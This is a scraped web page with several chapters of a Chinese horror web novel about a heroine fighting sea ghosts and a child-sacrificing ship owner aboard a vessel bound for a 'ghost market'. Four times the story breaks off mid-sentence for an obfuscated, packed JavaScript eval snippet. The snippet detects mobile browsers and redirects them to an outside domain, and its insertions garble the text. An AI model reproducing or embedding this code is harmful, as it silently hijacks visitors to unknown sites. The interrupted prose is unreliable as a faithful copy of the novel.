韩舟已经走到“采薇”面前，趁她不注意，猛地将匕首扎进她的肩膀，“采薇”来不及防备，痛得发出一声尖叫：“你做什么！你想杀人吗？”说罢便张开大嘴向韩舟咬来。 韩舟往旁边一闪，“采薇”扑了个空，愤恨地看向韩舟，准备发动下一轮攻击，就在此刻，白媜从门外冲了进来。 白媜看到屋内的情况先是一愣，随即快速走到桌边，双手举起桌边的椅子，朝“采薇”抡了过去。 “哐当”一声白媜手中的椅子砸到“采薇”身上，把她都给砸懵了。 “采薇”愣愣地看着突然出现的白媜，但她的身上未出现伤痕，反而是椅子四分五裂成碎块掉落在地。 韩舟趁着“采薇”愣神的机会，冲上去将匕首扎进她的心脏，随后拔出匕首退到白媜身旁，忍不住问道：“你怎么回来了？” “担心你。”白媜答得言简意赅。 “采薇”痛苦地抓住胸口的衣襟，身体不断颤抖着，她的心口冒出一缕火苗。 “为什么…你们要这样对我…我已经找到我的替身…我现在已经是人了…”“采薇”不甘地嘶吼着，双眼恨恨望着韩舟两人， 韩舟想了想，从夜翻柜上取了铜镜，将镜子递到她面前：“你自己看看你到底是不是人…” 铜镜倒映出她的面容，她面容苍白浮肿，张大的嘴里满是鲨鱼般的利齿。 “采薇”惊慌失措摇头：“不…” 说话间，火苗已经顺着她的伤口向全身蔓延，她的眼里流出一行血泪。 “我有什么错，我只是想要回家…” 韩舟叹了口气，问道：“把你扔到海里的是谁？” “采薇”的眼珠动了动，看向韩舟：“什么？” 韩舟咬了咬唇，道：“告诉我是谁，我想办法帮你报仇。”她停顿了下，又补充，“只是想办法，你说杀害你的人很厉害，我也未必能成功，但我会尽力…” “采薇”身上的烈火熊熊燃烧，她吃力开口：“他叫…房君…是这艘船的主人…” 白媜听到“房君”这个名字轻轻吸了口气。 是船主？韩舟皱了皱眉头，却也没有很惊讶：“他为什么要这么做？” “采薇”的眼珠在眼眶里转动着，似是在回忆：“因为…要祭祀海神…才能找到仙岛…” 她脸上露出愤恨的神色：“他是个骗子…他把我们骗得好苦…世上根本没有什么仙岛…” “又或者…真的有仙岛，但他根本不想带我们去…我们只是他的牺牲品…” 38. 阴阳集市（九） “你是…当初跟随房君出海的童女之一？”白媜反应过来。 “采薇”已经连说话的力气都没有了，只是点了点头。 “房君他…居然做出这么残忍的事…真是可恨…”白媜眉头紧蹙，喃喃道，“海神…仙岛…难道他当初真的找到了仙岛？” … 钱二站在大厅里，面对着方兰和方竹，他的五官乍一看很正常，唯有那双眼睛，瞳仁占据了大部分眼眶，似灌满漆黑的海水，他的嘴角带着一丝悠哉的笑意。 他抬起腿，向方兰和方竹走近几步。 眼前这人一看就知道不正常…方兰握紧方竹的手，迅速调转方向，往来处跑去。 她们重新回到廊上，走廊依旧被一团墨色笼罩，过了一会儿她们的眼睛才适应了黑暗，勉强可以视物。 她们走了一段距离，前方走廊尽头出现一个黑影。 方兰和方竹顿住脚步。 那个黑影逐渐靠近了，显露出真身，是一个人首鱼身的怪物，苍白浮肿的头颅，散落着海藻般的长发，鱼尾上蜥蜴般的爪子在地上爬行着，留下一个个脚印，它的身后拖着长长的水渍。 方兰的心跳猛然加速。 幸运的是，这个怪物目前行动缓慢，不知道是不是在伺机扑上来，还是在戏弄垂死挣扎的猎物。 “阿姐…”方竹的声音已经带上几分哭腔。 “别怕…”方兰内心也充满浓烈的恐惧，但还是拍了拍方竹的手安慰她，小声道，“等会我数一二三，我们一起转身跑，知道吗？” “嗯…”方竹轻轻点了点头。 “一，二…”方兰拉着方竹缓缓倒退几步，用只有方兰听得到的音量倒数着。 “三！” 方兰和方竹同时转身，却见身后不远处站着个人。 正是阴魂不散的钱二。 钱二抱手站在那儿，一双没有眼白的眼睛冷冷注视着她们，像是在守株待兔。 前有狼，后有虎，怎么办？ 方兰遍体生寒，攥紧方竹的手，心里涌起一股绝望。 就在此刻，走廊上的一扇门打开了，里面有温暖的亮光透出，一个女子走了出来，站在门口对她们招手：“快进来！” 方兰如同迷失在海上的人骤然见到灯塔，拉着方竹快速向那扇门跑去。 还没到门口，方兰感到背后有一道凉风吹来，裹挟着海水的咸湿味，门口站着的那个女子面色骤变，惊恐万分，倒退几步进了屋，似乎是想要把门关上。 来不及了…方兰咬了咬牙，看了一眼身边的方竹，只见她脸色煞白，似是也感觉到背后的东西迫近。 方兰没再迟疑，双手按在方竹的肩膀上，使劲往前一推，方竹踉跄着朝门口扑去。 原来正在关门的女子微微犹豫了一下，伸手接住方竹，将她拉进了屋，随后“哐”一声关上门。 走廊又重新陷入黑暗。 “阿姐！”方竹的哭喊声在门里响起，“求求你…开开门…让我阿姐进来…” 哭喊几句后，她的声音就消失了。 廊上一片寂静，只剩方兰孤零零一人。 “别怕，有姐在呢，就算有鬼怪，姐也会挡在你前面的…” 方兰想到之前她对方竹说的话，不由自主笑了，她自言自语道：“小妹，阿姐是不是说到做到？” 下一瞬，几滴湿答答的液体滴落在她的头顶，带着一股腥臭。她抬起头，看见那个非鱼非人的怪物如壁虎一般趴在天花板上，口水从它的嘴里落下来。 方兰此刻看到这副景象，反而没有那么害怕了，只要小妹安全就好… 不就是一死吗？有什么可怕的？ 那个怪物张大嘴，露出一口鲨鱼般的利齿，从天花板上一跃而下，朝方兰扑了过来… 方兰闭上了眼睛，静静等待死亡的降临，过了一会儿，想象中被撕咬的疼痛却没有到来，耳边响起一阵“叮叮哐哐”的声音。 方兰疑惑地睁开眼，只见韩舟正跪坐在怪物的鱼尾上，一手拽着怪物海藻般的长发，一手举着个橙红色的板砖，在怪物身上使劲砸着，白媜站在她身后不远处，背对韩舟而立。 不一会儿怪物就变成了一滩烂泥。 好暴力的场面…方兰又把眼睛闭上了。 不忍直视，看了折寿。 韩舟砸了一会儿砸累了，停了下来喘了几口气，眼一抬瞥见不远处的钱二，他没有眼白的眼睛正望着这里，一脸惊愕。 韩舟缓缓站起身，对着钱二露出一个无害的笑容：“哟，这不是拆我台又当好人的钱二吗，大半夜的不睡觉在这遛弯啊？” 钱二听了韩舟这话，也笑了笑：“我想家了，睡不着…” “这么巧，我也想家了。”韩舟向他走了几步，“今早你唱的那首歌真好听，能再唱一遍吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910208|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钱二脸上浮出一个困惑的表情，似是不明白韩舟想干什么。 韩舟叹了口气，似是在问他又似在自言自语：“你们回不了家…是要寻找仙岛吗？这世上真的有仙岛吗？真的有长生不老药吗？” 她这句话似乎触发了钱二某根神经，他的脸色立刻变得狰狞起来：“什么仙岛！什么长生不老药！都是骗子！房君他就是个骗子！” “说什么献祭童男童女就能得到海神眷顾，就能到达仙岛！根本就是他胡诌出来的！”钱二此刻说话的口气近乎咆哮。 “嗯…房君是个骗子。”韩舟点了点头，“你不是也是个骗子吗？” “什么？”钱二还没反应过来，就被韩舟手中的匕首插入喉咙。 “占人身体，冒领他人身份，不就是个骗子吗？” 钱二的身体直挺挺摔倒在地，瞬间被火焰吞没了。 韩舟转过头，没有再看背后燃烧的钱二。她走向方兰和白媜，只见二人看她的眼神都带上了几分敬畏之情。 “…”韩舟努力挤出一个和善的笑容，“我平常不这么凶残，我其实很温柔的。” 方兰：… 白媜：… 白媜微微颔首：“的确如此。” 气氛有点尬…韩舟决定转移话题：“方兰姑娘，方竹呢？” 方兰这才想起来：“小妹…她没事，她被人接进屋了。”说罢，她走向刚才方竹进入的那间房，在门上敲了敲：“小妹，没事了，怪物被韩姑娘解决了，你可以出来了。” 安静等待了片刻，门打开了，方竹从里面走了出来，目光看向方兰几人，脸色很平静。 “小妹！”方兰激动地喊了声，方竹眼珠转了转，似乎是在思考着什么，随后她扑向方兰，声音带着哭腔。 “阿姐！还好你没事！呜呜呜…” “好了好了，没事了…”方兰拍了拍方竹的背，声音也带上几分颤抖。 刚才为救她们开门的女子也走了出来，站在门口，看着相拥在一起的方氏两姐妹，脸上带着几分欣慰之情。 “太谢谢你了…”方兰感激万分地对那女子说，女子点了点头，露出一个微笑，算是回应，又把门关上了。 方兰呼出一口气，揽着方竹的肩膀，对韩舟和白媜说：“我们也回房吧？” 韩舟点了点头，心里有点奇怪，她们刚才闹的动静并不小，却不见船主和船夫现身。 39. 阴阳集市（十） 不知道是船主不把他们当回事，还是躲在暗中窥伺。 她答应了“采薇”，要为她向船主复仇，但现在还不行，至少要等船开到“鬼市”… 此刻偌大的泉先号一片寂静，如同一座古墓，她望了一眼船舱深处，黑暗中有什么东西在涌动。 这艘大船究竟还藏着多少秘密？ 其实她这次本打算咸鱼躺平苟到“鬼市”，本来泉先号也不属于怪谈中心，但看目前这情况，不主动出击找线索是不行了，所谓的祭海神和她即将要去的“鬼市”也许有很大关联。 不过得等明早再说。 四人回了房，为防止怪物再进来，轮流守夜直至天明。 第二天早晨，走廊上各扇紧闭的门打开了，令人惊讶的是，今天没有人死亡的消息。 大部分人推门出来时，如释重负松了口气，脸上憔悴不堪。 韩舟望着这些人，心想，他们中是不是也有不少“采薇”，“钱二”？ 她看了一圈，没在这些人里看到孟先生，奇怪了，他一贯会在这种时候出来稳定“军心”… 刚想到这，孟先生就从房间里出来了，他面上表情凝重，走起路来有些一瘸一拐的。 他没跟任何人说一句话，径直出了船舱。 韩舟的目光追随了他一段路，忍不住跟了上去。 出了船舱，外面的雨已经停了，孟先生匆匆来到了栏杆边，他面对大海，低下头去望着翻滚的海浪，双手握紧栏杆，发出几声干呕。 “孟先生？”韩舟站在他身后，轻轻叫了一声。 孟先生转过头看了韩舟一眼，皱了皱眉头。 他沉默片刻后，开口问道：“姑娘有何事？” “昨天晚上有鬼怪进来了，看你房里收留了几个人…”韩舟边说边观察着孟先生的脸色，“我有点担心，你那里一切还好吧？” “…”孟先生沉默了一瞬，道：“都安好，无事发生。” 过了一会儿他又道：“他们都是些可怜人罢了，我只是略尽绵薄之力帮一帮。” 韩舟仔细打量了他一番，见他面色如常，稍稍放下心来，便告辞离去了。 孟先生看着韩舟的背影，以袖掩口，重重咳嗽了几声。 韩舟回了房间，用过早饭后，打算去探索这艘宝船。她走出房间没几步，就发现身后多了三个“尾巴”。 韩舟无奈回头：“你们这是？” 白媜脸上带着温柔的笑意：“小舟，无论你想做什么，我自当奉陪。” 方兰跟着道：“我们虽然不是方士，不会驱鬼之术，但人多力量大，有危险也能一起想办法。” 方竹也点点头：“我们和你一起去。” “好吧。”韩舟只好答应，就算她拒绝，这三个姑娘也会自己跟过来，她也不能把她们强行关在屋里。 泉先号的船舱分为两层，一层是客舱，一层是储物舱。 客舱就是她们现在住的这层，已经没什么好探索的，所以韩舟决定去储物舱看看。 储物仓在底舱，她们走到客舱尽头，找到了入口，顺着木阶而下，每走一步，都能感受到脚下的木阶在摇晃，发出吱吱呀呀声。 底舱的空气带着股海水的咸腥味，潮湿阴冷，墙壁上挂着几盏长明灯。 这里长明灯的数量远远没有大厅的多，所以舱里显得格外昏暗。 她们来到了底舱深处，墙上印记斑驳，却不是霉斑，而是一个个手掌印，密密麻麻布满整面墙。 地面零零散散堆着一些货物，挡住了前进的路，四人分工，将货物挨个推开。 货物移开后，露出了后面的一块空地，空地上赫然有一个用朱砂画的阵法，阵法上摆着一个青铜祭器，上面刻满奇怪的符文。 那些符文乍一看像是一只只眼睛。 “这就是船主用来祭祀海神的？看来这海神不是什么正经神仙…”韩舟忍不住吐槽。 白媜盯着眼前这祭器，眉头紧锁。 一旁的方竹弯下腰去，发出两声干呕，身体摇摇欲坠。 “小妹，没事吧？”方兰扶住方竹。 方竹摇了摇头，脸色有些发白：“没事…我只是觉得这种东西有些恶心…” 韩舟绕着青铜祭器转了两圈，目光落在它后面的墙壁上，她手指抚上墙壁，挨个敲了敲，敲到某一处，只听“咔嚓”一声轻响，一个暗格弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913892|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。 韩舟往暗格里看去，里面摆着一本簿册。 这本簿册看起来很陈旧了，纸张泛黄，韩舟将簿册拿到一盏长明灯正下方，对着微弱的灯光翻阅起来。 刚翻到第一页，韩舟的面色就微微变了，其他三人见状，也围了过来，看到纸上的字迹后，同时倒抽一口凉气。 那些字赫然写着… “佳靖十六年年初，泉先号出海，为圣上寻长生仙药…” "佳靖十六年三月初三，献童男一名，年十八岁，名何福。" “…” "佳靖十七年五月初五，献童女一名，年十七岁，名孟思柳。" 韩舟眉头紧皱，这文字的陈述如此轻描淡写，但每一句都代表着一条生命的逝去… 人，当真可以残忍到如此地步？ 这些记录一直持续了三年，最后一页写着："佳靖十九年七月初七，献童男童女各一名… “海神赐福，仙岛现世。" “仙岛现世…”韩舟忍不住念了一句，“这世上真的有仙岛？” “就算是真的有仙岛，为了寻它，犯下杀孽…”白媜闭了闭眼，“当今圣上也不会允许如此行径…” 真的吗？韩舟瞄了一眼白媜，腹诽道，皇帝的心思可不好说，搞不好是默许的呢。 方竹忽然一脚狠狠踹在青铜祭器上，脸上满是怒气，她紧紧咬着嘴唇，似要把它咬出血来。 “小妹？”方兰面露惊讶，她从未见过方竹这副模样。 “房君…真该死啊…”方竹恨恨道。 “是该死…”韩舟点头附和，心里也忍不住有些生气，现在她就想磨刀霍霍向船主了。 就在此刻，楼梯上响起一阵沉重的脚步声，伴随着木阶令人牙酸的吱呀声。 一个阴冷的声音传来："为何你们如此不安分..." 一个披着黑色斗篷的人缓缓走下阶梯，他的面色苍白，双眼漆黑如海，嘴唇红的像刚饮过鲜血。 他是船主房君。 船主冰冷的目光缓缓扫过船舱内的四人，冷笑着开口：“好奇心太重可不是好事。” “知道得越多死得越快。” 40. 阴阳集市（十一） 房君的黑色斗篷随着走动微微飘起，仿佛蝙蝠的双翼，他踩上最后一级台阶，目光停留在白媜身上，带着丝玩味。 白媜被这目光看得打了个寒颤，但她不愿示弱，深吸一口气，直视房君的眼睛：“那些献祭童男童女的记录是你写的？你竟然杀害了这么多无辜人，如何对得起圣上的信任！” “圣上的信任？”房君嘴角勾起一抹嘲讽的笑容：“你应该知道，圣上想要的是长生不老，我做这些也是为了不负皇命，这些人因此牺牲，也是他们的命数。” 白媜气急：“你…” 韩舟突然插嘴：“所以你真的找到长生不老药了？” 房君的目光转向韩舟：“当然。” 韩舟继续道：“那你为什么跑路了？” …空气安静了一瞬，房君缓缓道：“这个药有一点缺陷，需要些时间将它炼制得更完美。” 韩舟又追问：“长生不老药和我们要去的鬼市有关系吗？” 房君嘴边笑容逐渐消失，眼神像冰冷的海水：“你的话太多了。” “话不多不行啊…”韩舟撇了撇嘴，“你看看这船上的人，都快被海里的东西取代光了，不问清楚，我们还能坚持到鬼市吗…” “在到达鬼市之前，只要你们安分守己，本不会有什么生命危险，可惜…你们当中有些人非要自寻死路。”房君冷冷道，“你们每人房里都有一盏长明灯，只要它不熄灭，那些水鬼就无法伤害你们。” “是么？如果你提前讲清楚长明灯的作用，根本不会有人弄灭那些灯…除非…”韩舟顿了顿道，“你是默许的…” 方兰忍不住道：“你的意思是他本来也想要我们死吗？” 方兰身边的方竹咬了咬唇，目光闪烁。 房君露出意外的神色：“有意思…” 随后他点了点头：“确实如此…你们这些人，本是为圣上和他的臣民准备的…我原来打算将你们完好无损带到鬼市…” “圣上…臣民…你在说什么？”白媜语当即反驳，“圣上何时下达过这样的旨意？” 房君没有回答她，继续道：“但海里的东西近来怨念越来越大，难以压制…为了安抚那些东西不得不牺牲一部分人…” “所以你任凭水鬼袭击我们…”方兰怒气冲冲开口，“那些长明灯是你们拿走的？” “不是。”房君冷冷道，“拿走长明灯的，或许是取代人的水鬼，或许就是人…我们只是并未干涉，全看你们运气如何…” 韩舟听到这捏了捏下巴，这个房君虽然说话像个谜语人，却还是透露了一些线索。 如果海里那些东西不爬上船来，取代船上的人，似乎会发生一些更可怕的事。 她还没在脑海里理个明白，就听房君冷笑一声，目光扫过四人：“不过现在我改变主意了，你们看到了不该看到的东西，知道了不该知道的事，唯有死路一条…” 他的话音刚落，墙壁那传来“咔咔”骨头关节活动的声响。 四人顺着声音望去，只见墙上密密麻麻的手掌蠕动起来，仿佛活了一样…一只只苍白的手从墙壁中伸出，朝四人抓来。 韩舟连忙把白媜拉到身后，一板砖拍断了离她最近的一只手。 “这是什么鬼东西！”方兰怒骂一声，躲开一只伸向她的手，却猝不及防被另一只手抓住胳膊。 那手的力气奇大，方兰被拽地踉跄几步倒向墙壁。 “阿姐！”方竹冲过去拉住方兰的衣袖，手刚一用劲，袖子就被撕成两半。 方竹急了，张开嘴一口咬在那只手上。 “咔嚓”一声，那只苍白的手折断了，断肢掉在地上，鲜血淋漓。 方兰瞠目结舌看向方竹。 方竹此刻半张着嘴，露出一口鲨鱼般的利齿，牙齿上沾满鲜血，一滴一滴顺着嘴唇流出，逐渐染红她的下颔。 方兰喃喃道：“小妹？你怎么会变成这样？不对…你不是小妹…” 方竹愣了下，脸上浮现出惊慌之色：“阿姐，其实我…” 房君眯起眼看向方家两姐妹，嘴角又勾起嘲讽笑意。 韩舟也被方竹的样子惊了一下，但她很快稳住心神，目光转向刻满符文的青铜祭器，略一思索，扬起板砖砸在了祭器上。 “咣当”一声青铜祭器上出现几道裂纹。 墙上的手全部像按了暂停键不动了。 “哐当”韩舟又砸了一下，祭器上裂纹扩大。 那些苍白的手纷纷化为粉末，簌簌落在地面。 “你…住手！”房君身影一闪，已贴到韩舟面前，苍白的手向她脖颈伸来。 他尖利的指甲刚碰到韩舟的脖子，金光乍现，一股灼烧感顺着他的手指向手臂扩散。 房君只得收回手，原本漆黑无波澜的眼睛露出惊骇之色。 韩舟脖子上的佛珠闪闪发光，她嘴角轻轻一扬：“傻了吧？我有道具。” “而且还不止一个。”她炫耀式地对房君晃了晃手中的板砖，随后使出全身力气往祭器上一砸，青铜祭器“咔嚓”一下，如同落地的茶杯，寸寸碎裂。 “不…”房君怒吼一声，向她逼近，却已来不及了，随着青铜祭器的完全损毁，他身上的斗篷转瞬化为灰烬，血肉开始融化，鲜血混合着浓稠的油脂滴落，露出森森白骨。 韩舟想，她果然猜得不错，这个青铜祭器正是将船主化为鬼怪的源头…毁掉祭器就能杀死房君。 片刻后，房君身上血肉完全消失，变为一具骨架，骨头一根一根从骨架上脱落，化为白色粉末，在空气中四散开。 他的脑袋化成一个骷髅头，从空中重重落下，在地面滚了几下不动了。 韩舟走了过去，拾起了那个骷髅头，抓在手中细细打量，房君的身体都消失了，却留下这颗头颅，肯定是有什么特殊作用。 她转过身，看向另外三人，方竹不知什么时候不见踪影，方兰僵立在原地，脸色发白，白媜走到她身边，想要出言安慰，张了张口，却最终什么也没说。 “小妹她…原来已经…”方兰呆了半晌，眨了眨眼，眼泪终于掉了下来，“是我不好，我没有保护好她…” 韩舟也不知道该说点什么安慰她，只能保持沉默，但刚才的情况有点奇怪，“方竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926807|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”并没有攻击她们，而是救了方兰，为什么呢？ 是她扮演方竹入戏太深，还是残存着方竹的情感和意志？ 现在无法知道答案了。 “走吧，我们出去吧。”韩舟道，她有种不祥的预感，很快会有大事发生。 出了储物舱，外面寂静无声，她们回到客舱，走廊上每扇房门都紧闭着。 现在原该是午饭时间，走廊上空无一人，空气中白色粉尘飘扬，地上七零八落躺着几个食案，上面的碗盘都摔碎了，饭食洒落一地，沾着粘稠的血。 韩舟猜测，那些船夫应该是跟着船主一起消亡了。 他们本都是这些祭器的产物。 她随手拾起一个食案，继续前行，走了一会儿，终于在走廊上看到一个人，那个人看到韩舟后，面色大变，飞快跑回房间，将门狠狠关上。 韩舟：…我有那么可怕吗？ 她摸了摸自己的脸，正疑惑着，就见孟先生站在房门口望着她，他身边站着个瘦弱少年，正是昨天第一个发现尸体的那位。 她刚想向孟先生点头示意，却见他也转身回房了。 韩舟：… “我们回房间吗？”白媜问。 韩舟道：“不回，我们出船舱看看。” 韩舟一马当先走在前面，方兰站在原地没动，面色极差，有些魂不守舍。 白媜叹了口气，轻轻握住方兰的手：“你妹妹肯定也希望你安好。” 方兰沉默片刻，重重点了点头：“我们走。” 三人一路出了船舱，来到甲板上，空气中的咸腥味更浓了，灰云遍布的天幕低低压在头顶。 韩舟走到栏杆边，将手中的食案扔进海里，只见食案漂浮在海面上不动了。她叹了口气，船果然停住了…就知道杀了船主会是这个结果，但当时的情况也没办法… 韩舟揉了揉太阳穴，有点头疼。 忽然间，海浪如煮沸的开水剧烈翻滚起来，韩舟抬头望去，远处的海面出现一个巨大的漩涡。 那漩涡越来越大，宛如一个深不见底的黑洞，原本停滞不动的泉先号大船摇晃了几下，随后迅速向漩涡靠近。 “不好…”韩舟感觉不妙。 船身颠簸，晃得人头晕，韩舟几人站立不稳，只得互相搀扶，原来在船舱内闭门不出的人纷纷跑上甲板。 “发生什么事了？” “天哪，那是什么！” 巨浪掀起，水花四溅，如一场雨，将船上的人都淋湿了。 漩涡中出现一个庞然大物，逐渐浮上海面。 那巨物的身体比泉先号大两倍有余，几乎将天空遮蔽，浑身布满漆黑的鳞片。 那是一条巨大的鱼。 可等韩舟站稳身子仔细看去，却发现这条大鱼的身体是由一只只人首鱼身的怪物组成的，那些黑色的鱼鳞，其实是怪物的鱼尾和长发。 那些人首鱼身的怪物本是背朝外，趴在大鱼的身上，等大鱼的身体完全钻出水面后，它们齐齐转过头。 苍白浮肿的头颅面对着船上的人，远远看上去，像黑色鳞片上的点点白斑。 41. 阴阳集市（十二） 大鱼的眼睛也是一个怪物，趴在空荡荡的眼眶里，漆黑的长发和鱼尾组成了瞳仁，苍白的头颅则是眼珠上的晶点。 这场面过于惊悚，韩舟摸了摸手臂上的鸡皮疙瘩，一堆头颅看得她密集恐惧症要犯了。 方兰倒吸一口凉气：“那是什么东西？是鱼吗？我从没见过这样的鱼…” 白媜眉头紧蹙：“这难道是…当初圣上派弓弩手射杀的鱼怪？” 韩舟道：“不是吧…它长成这样，哪家神箭手也射杀不了啊…” 泉先号大船还在继续向漩涡靠近，要看快要撞上鱼怪，韩舟身后忽然传来“扑通”几声，她转头看去，是好几个人跳进了海里。 他们这是要弃船逃走？韩舟有些惊讶。 那些人并没有逃走，而是浸在水里，将双手放在船壳板上，推着船往相反方向游动，抵抗着漩涡的吸力。 船身勉强止住，不再向漩涡靠近。 方兰见状快步走到栏杆边，在船尾处看到了方竹，她也泡在漆黑的海水里，正推动着船身，水里泛起阵阵涟漪，隐隐看见有鱼尾摆动。 “小妹…”方兰喃喃了一句。 韩舟看着这副景象，皱起了眉头，手指扣在栏杆上，轻轻敲了几下。 这些人…都是被水鬼取代的？数量真不少啊… 难怪房君要放任水鬼上船吃人，这些水鬼取代人后，产生了自己是人类的认知，又有想要回家的强烈愿望，自然不会让泉先号大船损毁，这对船主无疑是有利的。 可是目前这情况，治标不治本啊！ 甲板上原本有百来人，现在只剩下十几来个，韩舟瞥了眼，发现孟先生在其中，他站在栏杆边看着海里的“人”，脸上满是担忧之色。 “轰隆”一声巨响传来。 韩舟向鱼怪望去，只见它缓缓张开了嘴，一股腥臭在海面弥漫开来，熏得船上几人倒退几步。 鱼怪嘴里全是人首鱼身的怪物，它们挤作一团，海藻般的长发纠缠在一起，黑色鱼尾不断蠕动。 旁边的白媜终于忍不住了，弯下腰干呕起来。 韩舟胃里也有点不舒服，但她强忍着，转动脑筋思考对策。 这些水鬼想要什么呢？变成人？回家？还有… 她看了一眼手中的骷髅头。 复仇。 向害死他们的房君复仇。 但房君现在都已经化成灰了…只剩下这个骷髅头。 那就只有… 韩舟想了想，掏出板砖，闭上眼在心里想象一个东西的形状，片刻后，板砖在她手里变成了一根投石索。 a级道具就是不同凡响，可以随着主人心意变成不同样式的武器，韩舟可爱死这个老伙计了。 韩舟将骷髅头放在投石索的网兜里，握紧绳索，挥动手臂将它抡了起来。 她爸平常爱玩这个东西，她跟着玩过几回，但是水平一般，这时候只能硬着头皮上了。 骷髅头顺着绳索在空中转了好几圈，越转越快，见时机差不多了，韩舟手中绳索一松。 “走你！” 骷髅头向鱼怪飞去，在空中划出一道不算优美的弧线，随后落进了鱼怪的嘴里。 “唉…准头不行啊…”韩舟摸了摸手中的投石索，叹了口气，本来是想投进鱼怪眼睛里来着的，没想到投歪了，她太菜了，得多练。 骷髅头落进大鱼嘴里后，大鱼随即闭上了嘴，过了片刻，鱼怪的身体剧烈抖动起来，搅得整个海面巨浪翻滚。 随着大鱼的抖动，人首鱼身的怪物像被剥落的鳞片，一只接着一只从它身上掉下来，坠入海中。 大鱼转瞬间只剩下一副巨大的骸骨，让韩舟想起了在恐龙园里看到的恐龙骨架。 这条鱼应该死了很久…难道它真的是当初被弓弩手射杀的那条？ 下一刻，白色的巨骨浮现道道裂缝，它轰然倒塌，沉没于漆黑的大海中。 “式微，式微！胡不归…”一阵幽幽歌声从海面传来，海中的那些人首鱼身怪物浸在海水中，仰起苍白的头颅，张嘴高歌。 过了一会儿，歌声越来越弱，他们的身体逐渐化为光点，在漆黑的海面上浮动，像夜空中的星星，随后消散隐去。 “结束了？”韩舟自言自语，“我也算是为你们报仇了吧…” 白媜走到她身边，看着海面的景象，轻声道：“希望他们能早日转世投胎，下辈子平安顺遂，不再遇上这样悲惨的事。” 韩舟不怎么信转世之说，却还是点了点头：“希望吧。” “不过小舟…”白媜看向韩舟，脸上满是叹服之色：“之前你太谦虚了，你法力哪里低微，依我看，当朝国师都未必及得上你…” “啊…”韩舟摸了摸后颈，笑了笑，“一般啦…” 她又看了一眼泡在海里的“人”，心想，这些“人”为什么没跟着消失？ 海水里的“人”见鱼怪已被除去，纷纷爬上甲板，他们身上湿漉漉的，粘着腐烂的海藻，水不断滴落在地，很快形成一滩水渍。 原本站在栏杆边的孟先生快步走向他们，来到其中一个“人”身边，取出手帕，细心地替他擦去脸上的水渍，神色温柔。 那个“人”正是之前和孟先生一起的瘦弱少年。 韩舟看着他们皱了皱眉头。 方兰此时正定定看着“人”群中的方竹，朝着她走了两步，似是想上前，却又停住了。 而方竹也抬头看向方兰，脸上露出纠结的神色，片刻后又低下头去，退到角落里。 见这对姐妹成如今这样，韩舟有点不忍再看下去，只得把目光转向海面。 海上竟然起雾了。 一开始只是丝缕雾气，到后来越来越浓，将整个海面笼罩，随后蔓延上甲板。 韩舟忍不住握住白媜的手。 下一瞬，雾气就将她们吞没。 周围安静得可怕，韩舟掌心的手传来一丝暖意，给她带来点安慰。 不知过了多久，雾气终于散去，漆黑的大海重新出现在她们眼前，海浪翻滚，前方赫然有一座岛屿。 令人惊讶的是，这座岛屿并不在海里，而是漂浮在空中，离海面有两三米的距离，岛上云雾缭绕，上面的景物看不真切。 韩舟瞪大眼睛，这是… “那就是仙岛吗？”白媜惊讶开口，“海神赐福，仙岛现世…这一切竟然是真的…” 唔…韩舟捏了捏下巴，是不是仙岛可不好说，搞不好是座鬼岛… 泉先号大船离仙岛越来越近，终于停了下来。 一道梯子凭空出现，架在泉先号和岛屿之间。 “走，我们去看看这个仙岛。”韩舟拉起白媜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930488|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手，走上了梯子。 身后有几人见状也跟了上来。 韩舟一脚踩在岛上的沙土中，她周身云雾翻腾，仿佛真的置身于仙境。 “怎么回事！我为什么下不来！” 韩舟转过头去，看见一人站在梯子前，试图踩上梯子，却怎么也无法前进，仿佛有一道空气墙拦在他前面。 韩舟打量了一下这人的脸，他是之前泡在海水里推船的一员，当即心下了然。 “只有人，才能下得了船。”韩舟斟酌了一下用词，缓缓开口。 她不能说的太明白，希望船上真正的人类能听懂。 